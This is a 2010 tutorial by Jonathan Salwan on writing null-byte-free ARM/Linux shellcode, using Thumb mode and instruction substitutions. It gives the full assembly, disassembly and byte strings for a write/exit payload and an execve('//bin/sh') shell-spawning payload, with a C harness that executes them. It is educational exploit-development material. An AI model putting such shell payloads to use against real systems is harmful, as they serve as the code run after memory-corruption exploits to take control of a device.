Shellcode on ARM architecture

by @Jonathan Salwan - 2010-11-25

Introduction to the ARM architecture

The ARM architecture was originally conceived for a computer sold by Acorn. It morphed to then become an independent offer in the market of Embedded Computing. ARM is the acronym for Advanced Risk Machine, formerly known as Acorn Risk Machine.

The most famous core is the ARM7TDMI which is graced with 3 pipeline levels. The ARM7TDMI even has a second set of instructions called THUMB which allows 16-bits addressing, and significant memory gains especially in the field of embedded computing. The ARM architecture is also quite present in the field of Mobile Computing. Numerous operating systems have been ported to that architecture. A non-exhaustive list includes: Linux (used by Maemo on the N900 and Android on the Nexus One), Symbian S60 with the Nokia N97 or Samsung Player HD, iPhone with the iPhone and iPad and Windows Mobile.

ARM Ltd followed up by releasing the ARM9 core which shifted to a five stage pipeline, reducing the number of logical operations per clock cycle and therefore nearly doubling the clock frequency.

 

ARM/Linux shellcode: first attempt

For the remainder of this document, all tests are assumed to be running on a ARM926EJ-S core. Let's start by having a look at the register conventions.

Register    Alt. Name       Usage
r0          a1              First function argument Integer function result Scratch register
r1          a2              Second function argument Scratch register
r2          a3              Third function argument Scratch register
r3          a4              Fourth function argument Scratch register

r4          v1              Register variable
r5          v2              Register variable
r6          v3              Register variable
r7          v4              Register variable
r8          v5              Register variable
r9          v6
rfp                         Register variable Real frame pointer

r10         sl              Stack limit
r11         fp              Argument pointer
r12         ip              Temporary workspace
r13         sp              Stack pointer
r14         lr              Link register Workspace
r15         pc              Program counter

So registers r0 to r3 will be dealing with function parameters. Registers r4 to r9 will be for variables. On the other hand register r7 will store the address of the Syscall to execute.

Register r13 points to the stack and register r15 points to the next address to execute.

These two registers can be compared to the ESP and EIP registers under x86, even though register operations greatly differ between ARM and x86.

Let's start by writing a shellcode that will first call the syscall _write and then the _exit one. We first need to know the address of the syscalls. We will do as we usually do:

root@ARM9:~# cat /usr/include/asm/unistd.h | grep write
#define __NR_write                  (__NR_SYSCALL_BASE+  4)
#define __NR_writev                 (__NR_SYSCALL_BASE+146)
#define __NR_pwrite64               (__NR_SYSCALL_BASE+181)
#define __NR_pciconfig_write        (__NR_SYSCALL_BASE+273)

root@ARM9:~# cat /usr/include/asm/unistd.h | grep exit
#define __NR_exit                   (__NR_SYSCALL_BASE+  1)
#define __NR_exit_group             (__NR_SYSCALL_BASE+248)

Ok, so we have 4 for _write and 1 for _exit. We know that _write consumes three arguments:

write(int __fd, __const void *__buf, size_t __n)

Which gives us:

r0 => 1                     (output)
r1 => shell-storm.org\n     (string)
r2 => 16                    (strlen(string))
r7 => 4                     (syscall)

r0 => 0
r7 => 1

Here's what we get in assembly:

root@ARM9:/home/jonathan/shellcode/write# cat write.s
.section .text
.global _start

_start:

    # _write()
    mov     r2, #16
    mov r1, pc          <= r1 = pc
    add r1, #24         <= r1 = pc + 24 (which points to our string)
    mov     r0, $0x1
    mov     r7, $0x4
    svc     0

    # _exit()
    sub r0, r0, r0
    mov     r7, $0x1
    svc 0

.ascii "shell-storm.org\n"

root@ARM9:/home/jonathan/shellcode/write# as -o write.o write.s
root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
root@ARM9:/home/jonathan/shellcode/write# ./write
shell-storm.org
root@ARM9:/home/jonathan/shellcode/write#
root@ARM9:/home/jonathan/shellcode/write# strace ./write
execve("./write", ["./write"], [/* 17 vars */]) = 0
write(1, "shell-storm.org\n"..., 16shell-storm.org
)    = 16
exit(0)

Everything seems to work fine so far, however in order create our shellcode, we should have no null bytes, and our code is full of them.

root@ARM9:/home/jonathan/shellcode/write# objdump -d write

write:     file format elf32-littlearm


Disassembly of section .text:

00008054 <_start>:
    8054:   e3a02010    mov r2, #16 ; 0x10
    8058:   e1a0100f    mov r1, pc
    805c:   e2811018    add r1, r1, #24
    8060:   e3a00001    mov r0, #1  ; 0x1
    8064:   e3a07004    mov r7, #4  ; 0x4
    8068:   ef000000    svc 0x00000000
    806c:   e0400000    sub r0, r0, r0
    8070:   e3a07001    mov r7, #1  ; 0x1
    8074:   ef000000    svc 0x00000000
    8078:   6c656873    stclvs  8, cr6, [r5], #-460
    807c:   74732d6c    ldrbtvc r2, [r3], #-3436
    8080:   2e6d726f    cdpcs   2, 6, cr7, cr13, cr15, {3}
    8084:   0a67726f    beq 19e4a48 <__data_start+0x19d49c0>

Under ARM, we have what is called the THUMB MODE which allows us to use 16 bits addressing for our calls as opposed to 32 bits, which does simplify our life at this stage.

root@ARM9:/home/jonathan/shellcode/write# cat write.s
.section .text
.global _start

_start:

    .code 32
    # Thumb-Mode on
    add     r6, pc, #1
    bx  r6

    .code   16
    # _write()
    mov     r2, #16
    mov r1, pc
    add r1, #12
    mov     r0, $0x1
    mov     r7, $0x4
    svc     0

    # _exit()
    sub r0, r0, r0
    mov     r7, $0x1
    svc 0

.ascii "shell-storm.org\n"

root@ARM9:/home/jonathan/shellcode/write# as -mthumb -o write.o write.s
root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
root@ARM9:/home/jonathan/shellcode/write# ./write
shell-storm.org

When compiling, please use "-mthumb" to indicate that we are switching to "Thumb Mode". The astute reader will have noticed that I have changed the value of the constant being added to r1. Instead of the original "add r1, #24", I'm doing "add r1, #12" since we have now switched to "thumb mode", the address where my chain is at, has been halved. Let's see what that gives us in terms of null bytes.

root@ARM9:/home/jonathan/shellcode/write# objdump -d write
write:     file format elf32-littlearm

Disassembly of section .text:

00008054 <_start>:
    8054:   e28f6001    add r6, pc, #1
    8058:   e12fff16    bx  r6
    805c:   2210        movs    r2, #16
    805e:   4679        mov r1, pc
    8060:   310c        adds    r1, #12
    8062:   2001        movs    r0, #1
    8064:   2704        movs    r7, #4
    8066:   df00        svc 0
    8068:   1a00        subs    r0, r0, r0
    806a:   2701        movs    r7, #1
    806c:   df00        svc 0
    806e:   6873        ldr r3, [r6, #4]
    8070:   6c65        ldr r5, [r4, #68]
    8072:   2d6c        cmp r5, #108
    8074:   7473        strb    r3, [r6, #17]
    8076:   726f        strb    r7, [r5, #9]
    8078:   2e6d        cmp r6, #109
    807a:   726f        strb    r7, [r5, #9]
    807c:   0a67        lsrs    r7, r4, #9

That's better, all that we have left now to do is to modify the following instructions: "svc 0" and "sub r0, r0, r0".

For SVC we will use "svc 1" which is perfect in this case. For "sub r0, r0, r0", the goal is to place 0 in register r0, however we cannot do a "mov r0, #0" as that will include a null byte. The only trick so far that I have come across is:

sub r4, r4, r4
mov r0, r4

Which gives us:

root@ARM9:/home/jonathan/shellcode/write# cat write.s
.section .text
.global _start

_start:
    .code 32

    # Thumb-Mode on
    add     r6, pc, #1
    bx  r6
    .code   16

    # _write()
    mov     r2, #16
    mov r1, pc
    add r1, #14        <==== We changed the address again, since in exit() we have added
    mov     r0, $0x1         instructions which messed it all up.
    mov     r7, $0x4
    svc     1

    # _exit()
    sub r4, r4, r4
    mov r0, r4
    mov     r7, $0x1
    svc 1
.ascii "shell-storm.org\n"
root@ARM9:/home/jonathan/shellcode/write# as -mthumb -o write.o write.s
root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
root@ARM9:/home/jonathan/shellcode/write# ./write
shell-storm.org
root@ARM9:/home/jonathan/shellcode/write# strace ./write
execve("./write", ["./write"], [/* 17 vars */]) = 0
write(1, "shell-storm.org\n"..., 16shell-storm.org
)    = 16
exit(0)                                 = ?
root@ARM9:/home/jonathan/shellcode/write# objdump -d write

write:     file format elf32-littlearm


Disassembly of section .text:

00008054 <_start>:
    8054:   e28f6001    add r6, pc, #1  ; 0x1
    8058:   e12fff16    bx  r6
    805c:   2210        movs    r2, #16
    805e:   4679        mov r1, pc
    8060:   310e        adds    r1, #14
    8062:   2001        movs    r0, #1
    8064:   2704        movs    r7, #4
    8066:   df01        svc 1
    8068:   1b24        subs    r4, r4, r4
    806a:   1c20        adds    r0, r4, #0
    806c:   2701        movs    r7, #1
    806e:   df01        svc 1
    8070:   6873        ldr r3, [r6, #4]
    8072:   6c65        ldr r5, [r4, #68]
    8074:   2d6c        cmp r5, #108
    8076:   7473        strb    r3, [r6, #17]
    8078:   726f        strb    r7, [r5, #9]
    807a:   2e6d        cmp r6, #109
    807c:   726f        strb    r7, [r5, #9]
    807e:   0a67        lsrs    r7, r4, #9

Here we are, we have got an operational shellcode without any null bytes. In C that gives us:

root@ARM9:/home/jonathan/shellcode/write/C# cat write.c

#include <stdio.h>
#include <string.h>

char *SC =  "\x01\x60\x8f\xe2"
        "\x16\xff\x2f\xe1"
        "\x10\x22"
        "\x79\x46"
        "\x0e\x31"
        "\x01\x20"
        "\x04\x27"
        "\x01\xdf"
        "\x24\x1b"
        "\x20\x1c"
        "\x01\x27"
        "\x01\xdf"
        "\x73\x68"
        "\x65\x6c"
        "\x6c\x2d"
        "\x73\x74"
        "\x6f\x72"
        "\x6d\x2e"
        "\x6f\x72"
        "\x67\x0a";


int main(void)
{
    fprintf(stdout,"Length: %d\n",strlen(SC));
    (*(void(*)()) SC)();
return 0;
}

root@ARM9:/home/jonathan/shellcode/write/C# gcc -o write write.c
root@ARM9:/home/jonathan/shellcode/write/C# ./write
Length: 44
shell-storm.org

 

execv("/bin/sh", ["/bin/sh"], 0)

Now let's study a shellcode called execve(). The structure should look like this:

r0 => "//bin/sh"
r1 => "//bin/sh"
r2 => 0
r7 => 11


root@ARM9:/home/jonathan/shellcode/shell# cat shell.s
.section .text
.global _start
_start:
    .code 32              //
    add     r3, pc, #1    // This whole section is for "Thumb Mode"
    bx      r3            //
    .code 16              //

    mov     r0, pc        // We place the address of pc in r0
    add     r0, #10       // and add 10 to it (which then makes it point to //bin/sh)
    str     r0, [sp, #4]  // we place it on the stack  (in case we need it again)

    add     r1, sp, #4    // we move what was on the stack to r1

    sub     r2, r2, r2    // we subtract r2 from itself (which is the same as placing 0 in r2)

    mov     r7, #11       // syscall execve in r7
    svc     1             // we execute

.ascii "//bin/sh"

root@ARM9:/home/jonathan/shellcode/shell# as -mthumb -o shell.o shell.s
root@ARM9:/home/jonathan/shellcode/shell# ld -o shell shell.o
root@ARM9:/home/jonathan/shellcode/shell# ./shell
# exit
root@ARM9:/home/jonathan/shellcode/shell#

We can verify that the shellcode contains no null bytes !!

8054:   e28f3001    add r3, pc, #1
8058:   e12fff13    bx  r3
805c:   4678        mov r0, pc
805e:   300a        adds    r0, #10
8060:   9001        str r0, [sp, #4]
8062:   a901        add r1, sp, #4
8064:   1a92        subs    r2, r2, r2
8066:   270b        movs    r7, #11
8068:   df01        svc 1
806a:   2f2f        cmp r7, #47
806c:   6962        ldr r2, [r4, #20]
806e:   2f6e        cmp r7, #110
8070:   6873        ldr r3, [r6, #4]

So this is it, to find more ARM shellcodes please browse the database

 

References

  1. http://fr.wikipedia.org/wiki/Architecture_ARM
  2. http://nibbles.tuxfamily.org/?p=620
  3. The ARM Instruction Set
  4. ARM Addressing Modes Quick Reference Card